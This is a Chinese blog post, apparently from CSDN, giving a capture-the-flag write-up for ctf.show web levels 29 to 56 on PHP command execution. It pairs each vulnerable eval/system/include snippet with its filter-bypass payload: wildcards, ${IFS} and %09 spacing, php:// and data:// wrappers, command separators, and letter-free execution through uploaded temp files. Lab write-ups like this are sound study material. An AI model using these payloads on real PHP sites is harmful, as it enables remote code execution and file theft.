ctf.show web入门（命令执行）29~56

最新推荐文章于 2024-09-30 20:34:31 发布
最新推荐文章于 2024-09-30 20:34:31 发布
阅读量3.1k 收藏 9
点赞数 3
分类专栏： 刷题 wp 文章标签： php web安全 ctf
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_61768489/article/details/122516086
版权

可以先学习一下命令执行绕过小技巧

web29

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

preg_match（）函数学习一下：

preg_match函数是进行正则表达式的匹配，成功返回1，否则返回0

在这个正则里边有一个参数是i，这个在正则表达式里边是不区分大小写的一个参数

if(!preg_match("/flag/i", $c)){

只过滤flag【不区分大小写】

查看目录

?c=system('ls');

 获取flag.php ，关键字flag过滤，使用通配符？ ,进去后看源码才行，我刚开始还以为不对

http://a111e37a-dea4-4ef4-8e83-c190d2a32321.challenge.ctf.show/?c=system("cat fla?.php");

:cp命令将flag.php保存到1.txt 再去访问1.txt

http://26f678d1-972b-4c70-a138-a71bdb90d4b5.challenge.ctf.show/?c=system("cp fla?.php 1.txt");
http://26f678d1-972b-4c70-a138-a71bdb90d4b5.challenge.ctf.show/1.txt

web30

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这次过滤了flag，system，php，

用` ` 来代替system（）


http://d2fc7c45-703c-4caa-8dcd-acd57bb92193.challenge.ctf.show/?c=`cp fla?.p?? 1.txt`;
http://d2fc7c45-703c-4caa-8dcd-acd57bb92193.challenge.ctf.show/1.txt

web31

这题就过滤的更多了，包括cat 空格 都过滤了

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }

我们可以用eval( )来操作， 这个1已经不属于c的内容了，所以不受过滤管控了，

得到空白页面右击看源码才能得到flag

ctf.show/?c=eval($_GET[1]);&1=system('cat flag.php');

 将cat 换成 tac 就可以直接看到flag,tac 是 cat 的反向显示

ctf.show/?c=eval($_GET[1]);&1=system('tac flag.php');

 也可以将空白用%09替代

ctf.show/?c=echo`tac%09fl*`;

web32

$c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);

反引号，分号，括号 都不能用

没有括号的话不能使用上一题的eval（），所以要用没有括号的函数 比如include

分号可以用?>代替

还需要配合伪协议，通过特定的通道读取文件

/?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

拿到的是bsae64的数据，再去解码即可

web33

$c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);

多过滤了一个"

使用上一题的方法一样可以出来，那换一个函数用require,也是一样的

/?c=require$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

web34

$c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);

多过滤了一个冒号，也不影响我们使用上面的方法

/?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web35

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c))

多过滤了< =，与上题题解一样

web36

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);

不能使用数字，将1用a代替即可，GET[a]，里面可以不用单引号

/?c=require$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

web37

 if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }

 通过data://text/plain协议来进行漏洞利用

/?c=data://text/plain,<?php system("tac fla?.php");?>

web38

if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;

多过滤了php，file

使用上一题的方式就行，需要把php换成=   即   <?= 内容 ?> 、

/?c=data://text/plains,<?= system(" tac f* ");?>

web39

$c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }

加了个后缀.php ，但是依旧不影响用data协议

/?c=data://text/plains,<?= system(" cat f* ");?>

 只是后面多了个.php

web40

$c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\（|\）|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);

 过滤了很多字符，每几个能用的

无参数读文件和RCE总结_合天网安学院-CSDN博客

看大佬文章学习 

print_r(scandir(current(localeconv())));成功打印出当前目录下文件：

也可以用print_r(scandir(getcwd()));

 flag是倒数第二个我们可以用：show_source(next(array_reverse(scandir(getcwd()))));

利用array_reverse()进行把数组翻转，再利用next()函数取到flag.php

/?c=show_source(next(array_reverse(scandir(getcwd()))));

web41

if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");

数字字母都不能用了，比较麻烦，大概意思就是通过一些字符互相运算后构造得到我们的payload

这个博客，不会用第二个脚本

web42

$c=$_GET['c'];
    system($c." >/dev/null 2>&1");

>/dev/null 首先表示标准输出重定向到空设备文件，说白了就是不显示任何信息。 

2> 表示stderr标准错误
& 表示等同于的意思，2>&1，表示2的输出重定向等同于1

我们要让命令回显，使用双写命令，让后面那条命令进黑洞，好像可以为空，可以进行命令分隔

;    //分号
|    //只执行后面那条命令
||    //只执行前面那条命令
&    //两条命令都会执行
&&    //两条命令都会执行

/?c=tac flag.php;

web43

if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");

过滤了cat和分号，

?c=tac flag.php ||

web44

if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }

flag禁用，通配符安排

/?c=tac fl* ||

web45

if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");

多过滤了一个空格，空格用%09绕过就行

/?c=tac%09fl*||

web46

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");

过滤了* 还有？ 

/?c=tac%09fla?.php||

web47

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");

过滤了很多命令，但是tac还能用

/?c=tac%09fla?.php||

web48

与上题一样

web49

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");

过滤了%，可以用<，且%09依然可以继续使用，因为%09是编码 不属于% 也不属于数字

/?c=tac%09fla?.php||

web50

 if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");

 这下%09不能使用了 用<代替 ''替代通配符

/?c=tac<fla''g.php||

web51

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");

tac被禁了，用nl读取

/?c=nl<fla''g.php||

web52

if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");

<和>都没了，但是$放出来了，空格可以用${IFS}来绕过 

/?c=nl${IFS}fl''ag.php||

得到一个假的flag，所以藏flag的地方不是flag.php ，惯性思维了

去查看根目录下文件

/?c=ls${IFS}/||

查看这个flag

/?c=nl${IFS}/fl''ag||

web53

$c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;

system返回值，是返回命令输出的最后一行，错误就返回false

先是把命令进行显示，然后执行这个命令之后的最后一行输出给变量d，最后输出变量d的内容。

但是system自带回显，所以在执行system命令的时候就已经输出了flag.php的全部内容 

/?c=nl${IFS}fl''ag.php

web54

if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);

 .*加起来的作用就是匹配除换行符 \n 之外的任何单字符零次或多次。

1.paste 指令

/?c=paste${IFS}fla?.php

2.grep 指令(用于查找内容包含指定的范本样式的文件)

/?c=grep${IFS}'{'${IFS}fla?.php
意思是在fla?.php文件中 查找有{符号的一行并显示

 3.mv保存文件 , cp保存文件，由于过滤的原因小心选取txt文件名 选择z可以

/?c=mv${IFS}fla?.php${IFS}z.txt
/?c=cp${IFS}fla?.php${IFS}z.txt

还有bin目录

/?c=/bin/base??${IFS}????????    然后base64解码
/?c=/bin/ca?${IFS}????????       然后查看源代码

web55

 $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);

  过滤了字母 

1.

查看源代码发现没有过滤数字，我们就想一想在我们查看文件的命令有没有数字开头的。

匹配到/bin目录下的命令

cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等

发现存在一个base64，我们就可以通过通配符进行匹配命令执行查看flag.php

这个不是通用的,因为base64不是每个机器都有

即 /bin/base64 flag.php

/?c=/???/????64 ????.???    然后解码

 2.

我们可以利用/usr/bin下的bzip2，bzip2是linux下面的压缩文件的命令

也就是/usr/bin/bzip2 flag.php ,然后访问/flag.php.bz2进行下载获得flag.php

/?c=/???/???/????2 ????.???

3.

无字母数字webshell之提高篇 | 离别歌、

无字母数字的命令执行(ctfshow web入门 55）_Firebasky的博客-CSDN博客

构造一个上传文件的脚本

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名：</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

随便选取一个文件并抓包，一定要在原来文件内容的位置上写我们的命令

 

web56

$c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);

相较于上题，把数字也ban了，所以使用无数字字母rce 也就是第三种方式

 格式是固定的/?c=.%20/???/????????[@-[] 

点命令(.)
.或者叫period，它的作用和source一样，就是用当前的shell执行一个文件中的命令。用. file执行文件，是不需要file有x权限的。那么，如果目标服务器上有一个我们可控的文件，那就可以利用.来执行它

可控文件
这个可控文件怎么得到？我们可以发送一个上传文件的POST包，此时PHP会将我们上传的文件保存在临时文件夹下，默认的文件名是/tmp/phpXXXXXX，文件名最后6个字符是随机的大小写字母。
 

ThnPkm
关注
专栏目录
ctfshow-web入门-命令执行-web29
HkD01L的博客
06-21 348
ctfshow,命令执行，web29
CTFSHOW WEB入门 命令执行 web29-web36
m0_53194713的博客
06-26 1366
ctfshow web29 web30 web31
CTFshow web入门 web29-------web56 命令执行wp
2202_75289892的博客
07-30 481
过滤了flag，可见是文件名过滤，需要查看flag.php 或者flag.txt等文件。此外 读取文件利用cat函数，输出利用system、passthru。3.双引号绕过 fl''ag''.php。2.反斜杠绕过 fl\ag.php。1.通配符绕过 fla?还有特殊变量$1、内联执行等。
CTFshow 命令执行 web29~web36(正则匹配绕过）
最新发布
m0_74312676的博客
09-30 1467
web29~36的考点主要是一些常见的正则表达式的绕过。
CTFSHOW web入门——web29
m0_74093152的博客
04-23 265
preg_match正则匹配，如果输入的c中含有flag字段就不会将c作为代码执行，即过滤flag。构造payload：?用GET方式获取参数c，然后利用eval函数将c作为代码执行。查看网页源代码获得flag。
ctfshow命令执行web29
m0_62584974的博客
04-04 805
2022/4/3 先查看文件有多少个 ?c=system('ls'); 先执行再访问 ?c=system("cp flag.php 1.txt"); 没执行成功，因为关键字flag被过滤了 把flag的g换成？ ?c=system("cp fla?.php 1.txt"); ？是占位符占一个位置，*占多个 ...
命令执行--ctfshow web29
yxlr_beta的博客
09-29 167
1：PHP 在线工具 | 菜鸟工具 PHP中preg_match正则匹配的/u /i /s是什么意思 /u 表示按unicode(utf-8)匹配（主要针对多字节比如汉字） /i 表示不区分大小写（如果表达式里面有 a， 那么 A 也是匹配对象） /s 表示将字符串视为单行来匹配 Q:web29 <?php error_reporting(0); if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/fla...
2024年网安最新ctfshow-WEB-web6_ctf(1)
2401_84297899的博客
05-03 1087
ctf.show WEB模块第6关是一个SQL注入漏洞,注入点是单引号字符型注入,并且过滤了空格,我们可以使用括号()或者注释/**/绕过先来一个万能账号,注意使用括号()替换空格,用户名输入以下payload,密码随便输成功登录既然是SQL注入漏洞,那么flag肯定就藏在当前使用的数据库中,我们使用获取当前使用的数据库,用户名输入以下payload,密码随便输当前数据库是web2。
ctfshow web入门 命令执行web29-web57详解
2401_84009549的博客
04-20 899
当print_r(scandir(pos(localeconv())));时，会返回当前目录，pos(localeconv())的值为"."将数组用array_reverse进行倒转，并用next将指针指向flag.php最后进行读取,列出两个整理起来就是。
ctfshow-web入门-命令执行(web32-36)
HkD01L的博客
06-25 1120
ctfshow,web入门,命令执行,web32,web33,web34,web35,web36
[ctf.show]web入门 反序列化
Huamang的博客
02-20 522
web 254 和反序列化没啥关系，就是代码审计 payload：?username=xxxxxx&password=xxxxxx web 255 账号密码的赋值和上面一样，就是多了一个cookie['user']，用burp抓包解决 highlight_file(__FILE__); include('flag.php'); class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; p
ctfshow-命令执行-web29
weixin_43400535的博客
10-28 1720
ctfshow-web30 题目描述： 原理： isset() 函数 用于检测变量是否已设置并且非 NULL。 如果已经使用 unset() 释放了一个变量之后，再通过 isset() 判断将返回 FALSE。 若使用 isset() 测试一个被设置成 NULL 的变量，将返回 FALSE。 同时要注意的是 null 字符（"\0"）并不等同于 PHP 的 NULL 常量 语法：bool isset ( mixed $var [, mixe
CTFshow web入门 56
li_n_k的博客
11-15 504
零基础小白
CTFshow web入门---web56
qq_53099119的博客
11-13 1514
在P神文章中>深入理解glob通配符
ctfshow-web29(命令执行)
m0_62094846的博客
01-21 192
? 可以代替一个字符 *可以代替多个字符 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 00:26:48 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0);
ctfshow-WEB入门-命令执行 （WEB29~WEB44）
weixin_40103894的博客
11-28 686
ctfshow-WEB入门-命令执行 （WEB29~WEB44）
ctfshow-web入门（29~40）
1ance's blog
06-10 781
命令执行web29web30web31web32web33web34-36web37web38 web29 题目只过滤了关键词flag，用通配符即可绕过 error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); } 官方题解： e
ctfshow web29-38(命令执行)
y4615184的博客
09-08 530
ctfshow web入门 29-38（命令执行）
ctfshow-web入门56（再次理解无数字字母rce）
qq_44657899的博客
10-18 1866
前言 之前做过一道红包题第二弹，这里也是同样的解法，但是新学到了很多知识点，记录一下。 这个解法，p神的文章讲的很清楚无字母数字webshell之提高篇 文章目录前言glob通配符. 执行文件不需要x权限题解 glob通配符 因为只有PHP生成的临时文件包含大写字母，所以可以用/???/????????[@-[]来匹配我们上传的临时文件。 原理： 翻开ascii码表，可见大写字母位于@与[之间： 那么，我们可以利用[@-[]来表示大写字母： . 执行文件不需要x权限 题解 注意传参方式为POST。
ctf.show_web9
10-21
ctf.show_web9是一个CTF比赛中的一个web安全题目，考察的是命令执行漏洞的利用方式。这一关需要使用PHP的命令执行函数执行系统命令，读取网站根目录下的配置文件，获取flag。具体来说，需要通过构造payload，将命令...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值